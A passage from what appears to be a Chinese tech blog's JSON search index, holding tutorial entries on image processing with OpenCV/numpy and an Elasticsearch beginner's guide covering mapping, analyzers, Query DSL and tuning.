","date":"2019-03-14","objectID":"/image-similarity/:4:0","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"结语 相同图像像素级别完全相同,相似图片则分为两级,图像哈希对应整体相似,图像特征对应局部相似。 ","date":"2019-03-14","objectID":"/image-similarity/:5:0","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"图像处理基础","date":"2019-02-26","objectID":"/image-processing/","tags":["Python","OpenCV"],"title":"图像处理基础","uri":"/image-processing/"},{"categories":["Uncate"],"content":"图像处理基础 现如今我们每时每刻都在与图像打交道,而图像处理也是我们绕不开的问题,本文将会简述图像处理的基础知识以及对常见的裁剪、画布、水印、平移、旋转、缩放等处理的实现。 在进行图像处理之前,我们必须要先回答这样一个问题:什么是图像? 答案是像素点的集合。 如上图所示,假设红色圈的部分是一幅图像,其中每一个独立的小方格就是一个像素点(简称像素),像素是最基本的信息单元,而这幅图像的大小就是 11 x 11 px 。 1、二值图像: 图像中的每个像素点只有黑白两种状态,因此每个像素点的信息可以用 0 和 1 来表示。 2、灰度图像: 图像中的每个像素点在黑色和白色之间还有许多级的颜色深度(表现为灰色),通常我们使用 8 个 bit 来表示灰度级别,因此总共有 2 ^ 8 = 256 级灰度,所以可以使用 0 到 255 范围内的数字来对应表示灰度级别。 3、RGB图像: 红(Red)、绿(Green)、蓝(Blue)作为三原色可以调和成任意的颜色,对于 RGB 图像,每个像素点包含 RGB 共三个通道的基本信息,类似的,如果每个通道用 8 bit 表示即 256 级灰度,那么一个像素点可以表示为: ([0 ... 255], [0 ... 255], [0 ... 255]) 图像矩阵: 每个图像都可以很自然的用矩阵来表示,每个像素对应矩阵中的每个元素。 例如: 1、4 x 4 二值图像: 0 1 0 1 1 0 0 0 1 1 1 1 0 0 0 0 2、4 x 4 灰度图像: 156 255 0 14 12 78 94 134 240 55 1 11 0 4 50 100 3、4 x 4 RGB 图像: (156, 22, 45) (255, 0, 0) (0, 156, 32) (14, 2, 90) (12, 251, 88) (78, 12, 34) (94, 90, 87) (134, 0, 2) (240, 33, 44) (55, 66, 77) (1, 28, 167) (11, 11, 11) (0, 0, 0) (4, 4, 4) (50, 50, 50) (100, 10, 10) 在编程语言中使用哪种数据类型来表示矩阵?答案是多维数组。例如上述 4 x 4 RGB 图像可转换为: [ [ (156, 22, 45), (255, 0, 0), (0, 156, 32), (14, 2, 90) ], [ (12, 251, 88), (78, 12, 34), (94, 90, 87), (134, 0, 2) ], [ (240, 33, 44), (55, 66, 77), (1, 28, 167), (11, 11, 11) ], [ (0, 0, 0), (4, 4, 4), (50, 50, 50), (100, 10, 10) ] ] 图像处理的本质实际上就是在处理像素矩阵即像素多维数组运算。 ","date":"2019-02-26","objectID":"/image-processing/:0:0","tags":["Python","OpenCV"],"title":"图像处理基础","uri":"/image-processing/"},{"categories":["Uncate"],"content":"基本处理实现 对于图像的基本处理,本文示例使用的是 opencv-python 和 numpy 库。 示例: # -*- coding: utf-8 -*- # 图像处理 import numpy as np import cv2 as cv img = cv.imread('../images/cat.jpg') # 333 x 500 rows, cols, channels = img.shape # 1、裁剪:切割矩阵 cut = img[100:200, 333:444] # 选取第100到200行,第333到444列的区间 # 2、画布:填充矩阵 background = np.zeros((600, 600, 3), dtype=np.uint8) # 创建 600 x 600 黑色画布 background[100:433, 50:550] = img # 画布指定区域填充图像 # 3、水印:合并矩阵 # addWeighted 参数:src1, alpha, src2, beta, gamma # dst = src1 * alpha + src2 * beta + gamma; watermark = cv.imread('../images/node.jpg') # 600 x 800 watermark = watermark[200:533, 200:700]; dst = cv.addWeighted(watermark, 0.3, img, 0.7, 0); # 确保相同的 size 和 channel # 4、平移 # shift (x, y), 构建平移变换矩阵 M: [[1, 0, tx], [0, 1, ty]], 缺省部分填充黑色 M = np.array([[1, 0, -100], [0, 1, 100]], dtype=np.float32) shift = cv.warpAffine(img, M, (cols, rows)) # 5、旋转 # getRotationMatrix2D 参数: center 中心点,angle 旋转角度,scale 缩放 M = cv.getRotationMatrix2D(((cols-1)/2.0, (rows-1)/2.0), -60, 1) rotation = cv.warpAffine(img, M, (cols, rows)) # 6、缩放 # resize 参数:src 输入图像,dsize 输出图片大小,dst 输出图像,fx 水平方向缩放,fy 垂直方向缩放,interpolation 缩放算法 resize = cv.resize(img, None, fx = 2, fy = 2, interpolation = cv.INTER_LINEAR) 裁剪:切割矩阵即可。 画布:先构建指定大小的画布背景,再填充图像即可。 水印:矩阵合并运算,使用 cv : addWeighted 方法。 平移:构建平移变换矩阵,使用 cv : warpAffine 方法。 旋转:构建旋转变换矩阵,使用 cv : warpAffine 方法。 缩放:使用 cv : resize 方法。 OpenCV 提供的 resize 缩放算法包括: 根据官方的文档,缩小图像时建议使用 INTER_AREA 算法,放大图像时建议使用 INTER_CUBIC(较慢)算法或者 INTER_LINEAR(更快效果也不错)算法。 ","date":"2019-02-26","objectID":"/image-processing/:1:0","tags":["Python","OpenCV"],"title":"图像处理基础","uri":"/image-processing/"},{"categories":["Uncate"],"content":"结语 本文介绍了图像处理的基础,以及通过 OpenCV 实现了几种常见的图像处理功能。 ","date":"2019-02-26","objectID":"/image-processing/:2:0","tags":["Python","OpenCV"],"title":"图像处理基础","uri":"/image-processing/"},{"categories":["Elasticsearch"],"content":"Elasticsearch 入门指南","date":"2018-07-29","objectID":"/es-guide/","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"引言 Elasticsearch 是什么?一个开源的可扩展、高可用、分布式的全文搜索引擎。 你为什么需要它?《人生一串》中有这样一段话: 没了烟火气,人生就是一段孤独的旅程。 而我们如何通过烟火气、人生或者旅程等这样的关键词来搜索出这部纪录片呢?显然无论是传统的关系型数据库,还是 NOSQL 数据库都无法实现这样的需求,而这里 Elasticsearch 就派上了用场。 再来理解全文搜索是什么?举例来说,就是将上面那段话按照语义拆分成不同的词组并记录其出现的频率(专业术语叫构建倒排索引),这样当你输入一个简单的关键词就能将其搜索出来。 总而言之,Elasticsearch 就是为搜索而生。 ","date":"2018-07-29","objectID":"/es-guide/:0:1","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"一、基本概念 Near Realtime(近实时) Elasticsearch 是一个近实时的搜索平台。为什么是近实时?在传统的数据库中一旦我们插入了某条数据,则立刻可以搜索到它,这就是实时。反之在 Elasticsearch 中为某条数据构建了索引(插入数据的意思)之后,并不能立刻就搜索到,因为它在底层需要进行构建倒排索引、将数据同步到副本等等一系列操作,所以是近实时(通常一秒以内,无需过于担心)。 Cluster(集群)\u0026 Node(节点) 每一个单一的 Elasticsearch 服务器称之为一个 Node 节点,而一个或多个 Node 节点则组成了 Cluster 集群。Cluster 和 Node 一定是同时存在的,换句话说我们至少拥有一个由单一节点构成的集群,而在实际对外提供索引和搜索服务时,我们应该将 Cluster 集群视为一个基本单元。 Cluster 集群默认的名称就是 elasticsearch ,而 Node 节点默认的名称是一个随机的 UUID ,我们只要将不同 Node 节点的 cluster name 设置为同一个名称便构成了一个集群(不论这些节点是否在同一台服务器上,只要网络有效可达,Elasticsearch 本身会自己去搜索并发现这些节点并构成集群)。 Index(索引)\u0026 Type(类型)\u0026 Document(文档) Document(文档)是最基本的数据单元,我们可以将其理解为 mysql 中的具体的某一行数据。 Type(类型)在 6.0 版本之后被移除,它是一个逻辑分类,我们可以将其理解为 mysql 中的某一张表。 Index(索引)是具有类似特征的 Document 文档的集合,我们可以将其理解为 mysql 中的某一个数据库。 Shards(分片)\u0026 Replicas(副本) 为了更有效的存储庞大体量的数据,Elasticsearch 有了 shard 分片的存在,在对数据进行存储便会将其分散到不同的 shard 分片中,这就如同在使用 mysql 时,如果一张表的数据量过于庞大时,我们将其水平拆分为多张表一样的道理。然而 shard 的分布方式以及如何将不同分片的文档聚合回搜索请求都是由 Elasticsearch 本身来完成,这些对用户而言是无感的。同时分片的数量一旦设置则在索引创建后便无法修改,默认为五个分片。 对于副本,则是为了防止数据丢失、实现高可用,同时副本也是可以进行查询的,所以也有助于提高吞吐量。副本与分片一一对应,副本的数量可以随时调整,默认设置为每一个主分片有一个副本分片。副本分片和主分片一定不会被分配在同一个节点中,所以对于单节点集群而言,副本分片是无效的。 ","date":"2018-07-29","objectID":"/es-guide/:1:0","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"二、Mapping Mapping (映射)在 ES 中的作用至关重要,数据结构、存储和索引规则等等都是通过 mapping 来进行设置的。 ","date":"2018-07-29","objectID":"/es-guide/:2:0","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Dynamic Mapping(动态映射) 在使用传统关系型数据库如 mysql 时,如果不事先明确定义数据结构是无法进行数据操作的,但是在 ES 中不需要这样,因为 ES 本身会自己去检测数据并给出其数据类型然后进行索引或存储。所以称之为动态映射。 数据类型的判断及定义规则如下: 然而,仅仅依赖于 ES 自身去判断并定义数据类型显然是比较受限的,我们仍然需要对数据类型进行密切关注。 需要注意的是,虽然 mapping 映射是动态的,但这并不意味着我们可以随意的修改它,对于已经存在的 field mapping(字段映射)是无法直接修改的,只能重新索引(reindex),所以我们需要对 mapping 有一个深入的了解。 ","date":"2018-07-29","objectID":"/es-guide/:2:1","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Field datatypes(字段数据类型) ES 中的 filed(字段)如同 mysql 表中的列一样,其数据类型也有很多种: ","date":"2018-07-29","objectID":"/es-guide/:2:2","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Meta-fields(元字段) 每一个 document 都有一些与之关联的元数据: ","date":"2018-07-29","objectID":"/es-guide/:2:3","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Mapping parameters(映射参数) 设置 mapping 时的各种参数及其含义: ","date":"2018-07-29","objectID":"/es-guide/:2:4","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Dynamic templates(动态模板) 应用于动态添加字段时设置自定义 mapping 映射,通过在模板中设置匹配及映射的规则,匹配命中则会被设置为对应的 mapping ,匹配参数设置如下: Mapping 的设置其实是一个不断循环改进的过程,同时其与具体业务又有着密切的联系。理解了 Mapping 更有助于理解数据在 ES 中的搜索行为表现。 在 ES 中,全文搜索与 Analysis 部分密不可分。我们为什么能够通过一个简单的词条就搜索到整个文本?因为 Analyzer 分析器的存在,其作用简而言之就是把整个文本按照某个规则拆分成一个一个独立的字或词,然后基于此建立倒排索引。 ","date":"2018-07-29","objectID":"/es-guide/:2:5","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"三、Analyzer Analyzer(分析器)的作用前文已经说过了:拆分文本。 每一个 Analyzer 都由三个基础等级的构建块组成: Character filters Tokenizer Token filters 1、Character filters :接受原始输入文本,将其转换为字符流并按照指定规则基于字符进行增删改操作,最后输出字符流。 2、Tokenizer :接受字符流作为输入,将其按照指定规则拆分为单独的 tokens( 这里的 token 就是我们通常理解的字或者词 ),最后输出 tokens 流。 3、Token filters :接受 tokens 流作为输入,按照指定规则基于 token 进行增删改操作,最后的输出也是 tokens 流。 一个完整的包含以上三个部分的分析流程如下图所示: 注意:并不是每一个 Analyzer 分析器都需要同时具备以上三种基础构建块。 一个 Analyzer 分析器的组成有: 零个或多个 Character filters 必须且只能有一个 Tokenizer 零个或多个 Token filters ","date":"2018-07-29","objectID":"/es-guide/:3:0","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Character filter Character filter 的作用就是对字符进行处理,比如移除 HTML 中的元素如 ,指定某个具体的字符进行替换 abc =\u003e 123 ,或者使用正则的方式替换掉匹配的部分。 ES 内置了以下三种 Character filters : ","date":"2018-07-29","objectID":"/es-guide/:3:1","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Tokenizer Tokenizer 的作用就是按照某个规则将文本字符流拆分成独立的 token(字词)。 word、letter、character 的区别: word:我们通常理解的字或者词。 letter:指英语里的那 26 个字母。 character:指 letter 加上其它各种标点符号。 token 和 term 的区别(参考Lucene): token:在文本分词的过程中产生的对象,其不仅包含了分词对象的词语内容,还包含了其在文本中的开始和结束位置,以及这个词语的类型(是关键词还是停用词之类的)。 term:指文本中的某一个词语内容,以及其所在的 field 域。 然而,在某些语境下,其实 token 和 term 更关注的仅仅只是词语内容本身。 ES 内置了十五种 Tokenizer ,并划分为三类: 1、面向字词: 2、以字词的某部分为粒度: 3、结构化文本: ","date":"2018-07-29","objectID":"/es-guide/:3:2","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Token Filter Token Filter 的作用就是把 Tokenizer 处理完生成的 token 流进行增删改再处理。 ES 内置的 token filter 数量多达四五十种: 上图只是简单罗列说明,此处不进行展开说明,更多细节还是查阅官方文档好了。 ","date":"2018-07-29","objectID":"/es-guide/:3:3","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Analyzer ES 内置了以下 Analyzer : 可以看到每一个 Analyzer 都紧紧围绕 Character filters 、Tokenizer、Token filters 三个部分。 同样,只要选择并组合自己需要的以上这三个基本部分就可以简单的进行自定义 Analyzer 分析器了。 本节简单介绍了与全文搜索密切相关的【分析】这一重要部分,而如何进行实际的分析器设置则与 Mapping 相关联,另外除了 ES 内置的之外,还有很多开源的分析器同样值得使用,比如中文分词,使用较多的就是 IK 分词。 ","date":"2018-07-29","objectID":"/es-guide/:3:4","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"四、Query DSL 对于 ES,当我们了解了 mapping 和 analysis 的相关内容之后,使用者更关心的问题往往是如何构建查询语句从而搜索到自己想要的数据。因此,本节将会介绍 Query DSL 的相关内容。 Query DSL 是什么? Query Domain Specific Language ,特定领域查询语言。首先它的作用是查询,其次其语法格式只能作用于 ES 中,所以就成了所谓的特定领域。 Query DSL 可分为两种类型: Leaf query clauses 简单查询子句,查询特定 field 字段中的特定值。 Compound query clauses 复合查询子句,由多个简单查询子句或复合查询子句以逻辑方式组合而成。 ","date":"2018-07-29","objectID":"/es-guide/:4:0","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Query and filter context 查询语句的行为依赖于其上下文环境是 query context 还是 filter context 。 Filter context : 某个 document 文档是否匹配查询语句,答案只有是和否。对于 filter 查询 ES 会自动进行缓存处理,因此查询效率非常高,应尽可能多的使用。 Query context : 除了文档是否匹配之外,还会计算其匹配程度,以 _score 表示。例如某个文档被 analyzer 解析成了十个 terms,而查询语句匹配了其中的七个 terms,那么匹配程度 _score 就是 0.7 。 ","date":"2018-07-29","objectID":"/es-guide/:4:1","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Match All Query 最简单的查询。 match_all : 匹配所有文档。 match_none : 不匹配任何文档。 ","date":"2018-07-29","objectID":"/es-guide/:4:2","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Full text queries 全文查询,在执行之前会先分析进行查询的字符串,而查询的行为也与 analyzer 息息相关。 位于这一组内的查询包括: match 全文查询中的标准查询,包括模糊匹配和短语或邻近查询。 match_phrase 类似于 match ,但用于匹配精确短语或单词邻近匹配。 match_phrase_prefix 类似于 match_phrase,但是进行单词尾部通配符搜索。 multi_match match 的 multi-fields 多字段版本。 common terms 优先考虑不常见单词的更专业的查询。例如英文中的 the 是一个常见的高频单词,若直接查询会匹配到大量文档且浪费性能,但是某些时候又无法直接将其忽略,这时候就用到了 common terms query ,其原理是先匹配低频单词,然后在此匹配结果上再去匹配 the 这种高频单词。 query_string 支持 Lucene 查询字符串语法,对 Lucene 比较熟悉的可以玩玩,但一般不需要用到。 simple_query_string query_string 的简易版本。 ","date":"2018-07-29","objectID":"/es-guide/:4:3","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Term level queries term 是倒排索引中的基本单元,term-level 级别的查询也是直接操作精确的存储在倒排索引上的 terms 。通常用于结构化数据查询,如数字、日期、枚举,而不是全文字段。 查询包括: term 精确匹配某个 term 。 terms 匹配多个 terms 中的任意一个。 terms_set 版本 6.1 才加入的查询。匹配一个或多个 terms,minimum should match 指定至少需要匹配的个数。 range 范围查询。 exists 存在与否。判断依据是 non-null 非空值。若要查询不存在,则可以使用 must_not 加 exists 。 prefix 字段头部确定,尾部模糊匹配。 wildcard 通配符模糊匹配。符号 ?匹配一个字符,符号 * 匹配任意字符。 regexp 正则匹配。 fuzzy 模糊相似。模糊度是以 Levenshtein edit distance 来衡量,可以理解为为了使两个字符串相等需要更改的字符的数量。 type 指定 type 。 ids 指定 type 和文档 ids 。 ","date":"2018-07-29","objectID":"/es-guide/:4:4","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Compound queries 复合查询由其它复合查询或简单查询组成,其要么组合他们的查询结果和匹配分数,更改查询行为,要么从 query 切换到 filter context 。 查询包括: constant_score 包裹 query 查询,但在 filter context 中执行,所有匹配到的文档都被给与一个相同的 _score 分数。 bool 组合多个查询,如 must 、should、must_not、filter 语句。must 和 should 有 scores 分数的整合,越匹配分数越高,must_not 和 filter 子句执行于 filter context 中。 dis_max 匹配多个查询子句中的任意一个,与 bool 从所有匹配的查询中整合匹配分数不同的是,dis_max 只会选取一个最匹配的查询中的分数。 function_score 使用特定函数修改主查询返回的匹配分数。 boosting 匹配正相关的查询,同时降低负相关查询的匹配分数。 ","date":"2018-07-29","objectID":"/es-guide/:4:5","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Joining queries 在 ES 这种分布式系统中执行完整 SQL 风格的 join 连接的代价是非常昂贵的,而作为替代并有利于水平扩展 ES 提供了以下两种方式: nested 针对包含有 nested 类型的 fields 字段的文档,这些 nested 字段被用于索引对象数组,而其中的每个对象都可以被当做一个独立的文档以供查询。 has_child、has_parent join 连接关系可能存在于同一个索引中不同 document 文档之间。 has_child 查询返回 child 子文档匹配的 parent 父文档。 has_parent 查询返回 parent 父文档匹配的 child 子文档。 parent Id 直接指定父文档的 ID 进行查询。 ","date":"2018-07-29","objectID":"/es-guide/:4:6","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Geo queries ES 提供了两种类型的 geo 地理数据: geo_point:lat / lon 纬度/经度对。 geo_shape:地理区间,包括 points 点组、lines 线、circles 圆形区域、polygons 多边形区域、multi-polygons 复合多边形区域。 查询包括: geo_shape 查询指定的地理区间。要么相交、要么包含、要么不相交。查的是 geo_shape 。 geo_bounding_box 查询指定矩形地理区间内的坐标点。查的是 geo_points 。 geo_distance 查询距离某个中心点指定范围内点,也就是一个圆形区间。查的是 geo_points 。 geo_polygon 查询指定多边形区间内的点。查的是 geo_points 。 ","date":"2018-07-29","objectID":"/es-guide/:4:7","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Specialized queries 未包含于其它查询组内的查询: more_like_this 相似于指定的 text 文本、document 文档、或 documents 文档集。 这里的相似,不仅仅是指 term 的具体内容,同时也要考量其位置因素。查询字段必须先存储 term_vector 也就是 term 向量。 script 接受一个 script 作为一个 filter 。 percolate 通常情况下,我们通过 query 语句去查询具体的文档,但是 percolate 正好相反,它是通过文档去查询 query 语句( query 必须先注册到 percolate 中)。 percolate 一般常用于数据分类、数据路由、事件监控和预警。 wrapper 接受 json 或 yaml 字符串进行查询,需要 base64 编码。 ","date":"2018-07-29","objectID":"/es-guide/:4:8","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Span queries 更加底层的查询,对 term 的顺序和接近度有更加严格的要求,常用于法律或专利文件等。 除了 span_multi 之外,其它的 span 查询不能与非 span 查询混合使用。 此类所有查询在 Lucene 中都有对应的查询。 span_term 与 term query 相同,但用于其它 span queries 中,因为不能混合使用的原因才有的这个 span 环境特定的查询。 span_multi 包裹 term、range、prefix、wildcard、regexp、fuzzy 查询,以在 span 环境下使用。对应于 Lucene 中的 SpanTermQuery 。 span_first 相对于起始位置的偏移距离。对应于 Lucene 中的 SpanFirstQuery 。 span_near 匹配必须在多个 span_term 的指定距离内,通常用于检索某些相邻的单词。对应于 Lucene 中的 SpanNearQuery 。 span_or 匹配多个 span queries 中的任意一个。对应于 Lucene 中的 SpanOrQuery 。 span_not 不匹配,也就是排除。对应于 Lucene 中的 SpanNotQuery 。 span_containing 指定多个 span queries 中的匹配优先级。对应于 Lucene 中的 SpanContainingQuery 。 span_within 与 span_containing 类似,但对应于 Lucene 中的 SpanWithinQuery 。 field_masking_span 对不同的 fields 字段执行 span-near 或 span-or 查询。 Query DSL 部分的内容大概就是这么多,本文只是让你对于查询部分有一个整体的大概的印象,至于某个具体查询的详细细节还请查阅官方文档。 ","date":"2018-07-29","objectID":"/es-guide/:4:9","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"五、优化 ES 的默认配置已经提供了良好的开箱即用的体验,但是仍有一些优化手段去继续提升它的使用性能。 ","date":"2018-07-29","objectID":"/es-guide/:5:0","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"General recommendations 通用建议。 Don’t return large result sets 不要返回大量的结果集。ES 是一个搜索引擎,擅长于返回匹配度较高的几个文档(默认 10 个,取决于 size 参数),而不擅长于数据库领域的工作,例如返回一个查询条件匹配的所有文档,如果你一定要实现这个功能,建议使用 scroll API。 这个问题其实是与深度分页相关联的,ES 中的配置项 index.max_result_window 默认是 10000 ,这就是说最多只支持返回前一万条数据,如果想返回更多的数据,一方面可以增大此配置项,另一方面就是使用 scroll API ,scroll API 的原理就是记录上一次的结果标记,基于此标记再继续往下查询。 Avoid large documents 避免大文档。配置项 http.max_content_length 默认是 100 MB,ES 将会拒绝索引超过此大小的文档,你也可以提高这项配置,但是最大不得超过 2 GB,因为 Lucene 的限制为 2 GB。 大文档会给网络、内存、磁盘、文件系统缓存等带来更大的压力。 为了解决这个问题,我们需要重新考虑信息的基本单元,例如想要去索引一本书的内容,这并不意味着我们要把整本书都塞进一个文档中去,按照章节或者段落去划分文档显然是更好的选择。 ","date":"2018-07-29","objectID":"/es-guide/:5:1","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Recipes 解决一些常见问题的方式。 Mixing exact search with stemming 精确搜索混合词干搜索。 在英文场景下,词干搜索如 skiing 将会匹配包含有 ski 或 skis 的文档,但是如果用户想要实现 skiing 的精确匹配呢?最典型的解决方法就是将同样的内容索引为 multi-field 多个不同的字段,这样就能在不同的字段上分别使用词干搜索和精确搜索了。 除此之外,query_string 和 simple_query_string 的 quote_field_suffix 也可以解决这种问题。 Getting consistent scoring 1、Scores are not reproducible 即使同样的查询同时执行两次,文档的匹配分数也并不一致。这是因为副本存在的原因,副本的配置项是 index.number_of_replicas ,ES 进行查询时会以 round-robin 的方式轮询到不同的 shard 分片,而删除或更新文档时(在 ES 中,更新分为两步,第一步标记旧文档为删除,第二步写入新文档),旧文档并不会立刻被删除,而是等待下一个 refresh 周期此文档从属的 segment (shard 分片会被分割为多个 segment)被合并,有时候主分片刚刚完成合并操作并移除了大量标记为删除的文档,而从分片还未来得及同步此项操作,这就导致了主从索引统计信息的不同,也就影响到了匹配分数的不同。 解决方法是在查询时使用 preference 参数,此参数决定了将查询路由到哪个分片中去执行,只要 preference 一致则一定会使用相同的分片。例如你可以使用用户ID 或者 session id 作为 preference ,这样就能保证同一个用户或者同一个会话查询的一致性。 2、Relevancy looks wrong 如果你注意到两个相同内容文档的分数不同或者精确匹配的未排序在第一位,这也可能与分片有关。默认情况下,每个分片各自评分,文档也会被均匀的路由到不同的分片中,分片中的索引统计信息也会是相似的,评分将按照预期工作,但是如果你进行了下列操作之一,那么很有可能搜索请求涉及到的分片没有类似的索引统计信息,相关性可能很差: use routing at index time (索引时自定义路由规则导致分片不均匀) query multiple indices (查询跨越了多个索引) have too little data in your index (数据量少得可怜) 如果你的数据集很小,那么最简单的方法就是只使用一个分片( index.number_of_shards : 1 )。 其余情况建议的方式是使用 dfs_query_then_fetch 搜索类型,这种方式将会查询所有关联分片的索引统计信息然后合并,这样评分时使用的就是全局的索引统计信息而不是某个分片的,显然这样增加了额外的成本,然而大多数情况下,这些额外成本是很低廉的,但是如果查询中包含有大量的 fields/terms 或 fuzzy 模糊查询,增加的额外成本可能并不低。 ","date":"2018-07-29","objectID":"/es-guide/:5:2","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Tune for indexing speed 加速构建索引。 Use bulk requests 尽量使用 bulk 请求。 Use multiple workers/threads to send data to ES 其实就是提高客户端的并发数。 Increase the refresh interval 配置项 index.refresh_interval 默认是 1s ,这个时间指的是创建新 segment 合并旧 segment 的周期,增加此间隔时间有助于减轻 segment 合并的压力。 Disable refresh and replicas for initial loads 禁用 refresh 和备份可以提升不少的索引构建速度,但是正常情况下 refresh 和备份都是必须的,所以一般只在初始化导入数据如重建索引等特殊情况才使用。配置项为 index.refresh_interval : -1 和 index_number_of_repicas : 0 。 Disable swapping 禁用宿主机操作系统的 swap 。 Give memory to the filesystem cache 将宿主机至少一半的内存分配给 filesystem cache 文件系统缓存。 Use auto-generated ids 使用用户自定义的文档 id ,ES 将会检查其是否冲突,而使用 ES 自动生成的 id 则会跳过此步骤。 Use faster hardware 使用更好的硬件。 Indexing buffer size 确保 indices.memory.index_buffer_size 足够大,能为每个分片提供最大 512 MB 的索引缓冲区,超过这个值也不会有更高的性能。默认是 10%,即 JVM 有 10 GB 内存,那么 1 GB 将会用于索引缓存。 Disable _field_names 在 mapping 设置中禁用 _field_names ,但会导致 exists 查询无法使用。 Additional optimizations 其余一些额外的优化项与下文中的 Tune for disk usage 优化磁盘使用相关联。 ","date":"2018-07-29","objectID":"/es-guide/:5:3","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Tune for search speed 加速搜索。 Give memory to the filesystem cache 给 filesystem cache 分配更多内存。 Use faster hardware 使用更好的硬件。 Document modeling 文档模块化,避免 join 操作,nested 和 parent-child 关联查询都会比较慢。 Search as few fields as possible 在 query_string 和 multi-match 查询中,fields 越多查询越慢。你可以新增一个联合字段,在 mapping 中设置 copy_to 将多个 fields 字段自动复制到这个联合 field 字段中,这样就能把多字段查询变为单字段查询。 Pre-index data 预索引数据。在进行 range aggregation 范围聚合查询时,我们可以新增一个字段以在索引时标记其范围,这样 range aggregation 就变成了 term aggregation 。例如,要查询 price 在 10-100 范围内的文档数据,那么可以在构建索引时新增一个 price_range 字段标记此文档为 10-100 ,这样就可以直接根据 price_range 进行查询了。 Consider mapping identifiers as keyword 数字不一定要映射为数字类型字段,也可以是 keyword ,索引数字类型对于 range 查询进行了优化,而 keyword 在 term 查询时更有利。 Avoid scripts 避免使用 scripts,如果一定要用,优先使用 painless 和 expressions 引擎。 Search rounded dates 放宽日期类型的精度,由于 now 是实时变动的,因此无法缓存,而如果使用诸如 now-1h/m ,这是可以进行缓存的,相应的精度也就成了一分钟。 Force-merge read-only indices 强制合并只读索引为单一的 segment 更有利于搜索。使用场景常常是例如基于时间的索引,历史日期的数据不再改变,因此是只读的,而对于存在写入操作的索引不得进行此项操作。 Warm up global ordinals Global ordinals 是一种数据结构,用于 keyword 字段上进行 terms aggregations,可以在 mapping 中设置 eager_global_ordinals : true 提前告诉 ES 这个字段将会用于聚合查询。 Warm up the filesystem cache ES 重启后,filesystem cache 是空的,可以通过 index.store.preload 提前导入指定文件到内存中进行预热,但是如果文件系统缓存不够大,将会导致所有数据被 hold 住,一定要小心使用。 Use index sorting to speed up conjunctions 使用 index sorting 索引排序可以使连接更快(组织 Lucene 文档 id,使连接如 a AND b AND … 更高效),但代价是构建索引将变慢。 Use preference to optimize cache utilization 缓存包括 filesystem cache、request cache、query cache 等都是基于 node 节点的,使用 preference 更够将同样的请求路由到同样的分片也就是同一个节点上,这样能够更好的利用缓存。 replicas might help with throughput, but not always 备份也会参与查询,这有助于提高吞吐量,但并非总是如此。 如何设置备份的数量?假设集群中有 num_nodes 个节点,num_primaries 个主分片,一次最多允许 max_failures 个节点故障,那么备份的数量应该设置为 max( max_failures, ceil( num_nodes/num_primaries ) - 1 ) Turn on adaptive replica selection 开启动态副本选择,ES 将会基于副本的状态动态选择以处理请求。 PUT /_cluster/settings { \"transient\": { \"cluster.routing.use_adaptive_replica_selection\": true } } ","date":"2018-07-29","objectID":"/es-guide/:5:4","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Tune for disk usage 优化磁盘使用。 